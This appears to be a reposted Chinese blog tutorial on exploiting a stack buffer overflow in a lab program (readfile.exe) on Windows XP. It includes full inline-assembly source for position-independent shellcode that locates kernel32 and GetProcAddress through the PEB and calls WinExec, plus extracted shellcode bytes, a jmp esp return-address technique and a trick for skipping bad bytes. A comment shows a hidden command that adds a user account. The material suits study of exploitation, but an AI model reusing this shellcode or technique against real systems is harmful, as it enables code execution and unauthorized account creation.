说明:
readfile.exe是漏洞程序,它读取c:/overflow.txt文件,并将文件内容以对话框的形式弹出来。
第一步:
在overflow.txt文本中输入1234使用readfile.exe打开,程序正常执行。在文本中输入11112222333344445555666677778888,使用readfile.exe打开,结果如下:
程序出现异常。由分析可知,当文件的内容过长时,会导致程序出现问题,当文件过长时,文件内容会将函数的堆栈中的返回地址覆盖,导致程序不能正常返回,出现异常。
第二步:
使用OD加载readfile.exe,进行跟踪,定位MessageBoxA的位置,设置断点。如下:
按F9键,执行程序,程序停在断点处,继续按F9
单击确定是程序继续执行,停在断点77D50830处,F7单步跟踪,程序到上层函数:
当执行到00401051是观察函数堆栈如下:
可知TXT文本的偏移13处会覆盖返回地址。
第三步:
(1) 编写通用弹出计算器的程序代码并提取shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
#include “stdio.h”
int main()
{
unsigned int KerdllAddress;//定义kernel32的地址
unsigned int GetProcessAddr ;//定义函数地址
unsigned int loadlibrarya ;
unsigned int WinExecAddress; //执行cmd令的地址
char *ShellCodeAddr=0; //shellcode 地址
unsigned int ShellCodeSize=0; //shellcode的大小;
__asm
{
//———————————————————————————
//获取ShellCode的内存起始地址和代码大小,以便打印输出
PUSHAD
JMP L1
L2:
POP ESI
MOV ShellCodeAddr,ESI ;获得ShellCode起址
LEA ECX,ShellCodeE ;计算ShellCode代码长度
LEA EDX,ShellCodeB
SUB ECX,EDX
MOV ShellCodeSize,ECX
POPAD
JMP ShellCodeE
L1: CALL L2 ;此处将程序下条地址即shellcode开始地址压栈,上面指令pop esi 得到此地址
//原始shellcode
ShellCodeB:
mov eax,fs:30h ;PEB的地址
mov eax,[eax+0ch] ;LDR的地址
mov esi,[eax+1ch]
lodsd
mov edi,[eax+08h] ;xp下可以用 win7下不可用
//win7 下获得kernel32地址
/* xor ecx, ecx
next_module:
mov ebp, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx
jne next_module
mov edi,ebp*/
mov KerdllAddress,edi ;获得kernell32的基址
;下面获得函数地址
mov eax,[edi+3ch] ;eax 为pe首部偏移地址eax=f0
mov edx,[edi+eax+78h]
add edx,edi ;edx为导出表地址
mov ecx,[edx+18h] ;到处表函数的个数
mov ebx,[edx+20h]
add ebx,edi ;导出表函数名地址,addressofname
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi
mov eax,50746547h ;GetProcAddress
cmp [esi],eax ;比较PteG
jne search
mov eax,41636f72h
cmp [esi+4],eax ;比较Acor
;如果是GetProcA,表示找到该函数
jne search
mov ebx,[edx+24h]
add ebx,edi ;序号数组地址 addressof
mov cx,[ebx+ecx*2]
mov ebx,[edx+1ch]
add ebx,edi
mov eax,[ebx+ecx*4]
add eax,edi ;利用序号
mov GetProcessAddr,eax ;得到GetProcess的地址
;先获得LoadLibraryA的地址
call _loadlibrary
_emit ‘L’
_emit ‘o’
_emit ‘a’
_emit ‘d’
_emit ‘L’
_emit ‘i’
_emit ‘b’
_emit ‘r’
_emit ‘a’
_emit ‘r’
_emit ‘y’
_emit ‘A’
_emit 0
_loadlibrary:
push KerdllAddress
call GetProcessAddr //;调用GetProcess函数 获得LoadLirary函数的地址(GetProcessAddr(hMoudle,lpProcName))
mov loadlibrarya,eax
;获得WinExec的地址
call _WinExec
_emit ‘W’
_emit ‘i’
_emit ‘n’
_emit ‘E’
_emit ‘x’
_emit ‘e’
_emit ‘c’
_emit 0
_WinExec:
push KerdllAddress
call GetProcessAddr //调用函数获得的函数地址
mov WinExecAddress,eax
;调用WinExec弹出计算器 WinExec(“net user test test123 /add”,SW_HIDE);
push 1
call _calc
_emit ‘c’
_emit ‘a’
_emit ‘l’
_emit ‘c’
_emit ‘.’
_emit ‘e’
_emit ‘x’
_emit ‘e’
_emit 0
_calc:
call WinExecAddress
ShellCodeE:
}
//提取shellcode;
FILE *file;
int i;
file=fopen(“shell.txt”,“w”);
fprintf(file,“/”"); ///”为“””的转义,下面也有类似的
for(i=0;i<ShellCodeSize;i++)
{
if(i%16==0&&i!=0) fprintf(file,“/”/n/”");
fprintf(file,“//x%02x”,(unsigned char)ShellCodeAddr[i]);
}
fprintf(file,“/”");
return 1;
}
|
提取的shellcode如下:
(2) Shellcode利用
在kernel32.dll中的0x7c874413处找到一条jmp esp指令的地址,并将其写在定位的函数与堆栈返回地址处,并在其后加上(1)中提取的shellcode,如下:
使用OD打开程序测试结果,结果如下:
发生异常的地址就是上图shellcode中圈黑框的数据,如图0-7,由分析可知由于shellcode数据太长导致程序不能正常执行。
经过分析,给出两种解决办法
方法一:使用硬编码,缩短shellcode长度
直接找到函数WinExec函数的地址0x7c86250d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#include “windows.h”
#include “stdio.h”
int main()
{
//WinExec(“calc.exe”,SW_SHOW);
//printf(“%x”,WinExec);
__asm
{
push 1
call _calu
_emit ‘c’
_emit ‘a’
_emit ‘l’
_emit ‘c’
_emit ‘.’
_emit ‘e’
_emit ‘x’
_emit ‘e’
_emit 0
_calu:
mov eax,0x7c86250d
call eax
}
return 1;
}
|
提取shellcode如下:
1
2
|
“/x6a/x01/xe8/x09/x00/x00/x00/x63/x61/x6c/x63/x2e/x65/x78/x65/x00″
“/xb8/x0d/x25/x86/x7c/xff/xd0″
|
将shellode写入文件,执行结果如下:
方法二:不使用硬编码缩短shellcode,而是通过跳过shellcode异常处。
由于硬编码方式的通用性较差,所以不太可取,通过图0-8的shellcode异常分析可知,产生异常的原因是shellcode的中的数据时程序执行发生了不可读的地址,于是先试探性将发生异常的shellcode处的数据更改为一个可执行的地址处(此处改成程序的入口地址0x004011e1),新构造的数据如下:
使用OD加载程序,跟踪调试,发现程序在执行函数时未发生异常,当返回时发生异常,此时异常出现的的位置和一开始相同,如下图:
由截图可知,下条执行地址,就是我们数据中的jmp esp的地址,接下来执行shellcode。可见将在异常处的shellcode数据改为一条可执行的地址程序还会正常到返回地址处。于是,构造数据,shellcode数据异常处后面放上要执行的shellcode(经过跟踪分析,得知出现异常的原因是程序执行后执行了一条call ecx指令,而ecx中的值就是异常出现的shellcode数据),之前放置一条跳转指令,向后跳过四个字节(即异常的四个字节),就可以正常执行shellcode代码,构造数据如下:
(注释:上图绿框中的shellcode是(1)中提取的通用性shellcode)
执行程序,结果如下:
可知shellcode跳过异常点,正常执行“真正的功能shellcode代码“。
说明:此程序对shellcode代码不进行字符串’0’截断,如果程序对字符串进行截断,通过跳过shellcode异常点,也会有足够的堆栈空间来对加密后的shellcode进行解密,实用性相对较高。
其中的readfile.exe程序可到此处下载:
http://pan.baidu.com/s/1o6oLHCu
【via@寒江 注:本文仅供稿91Ri.org 请勿转载!】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号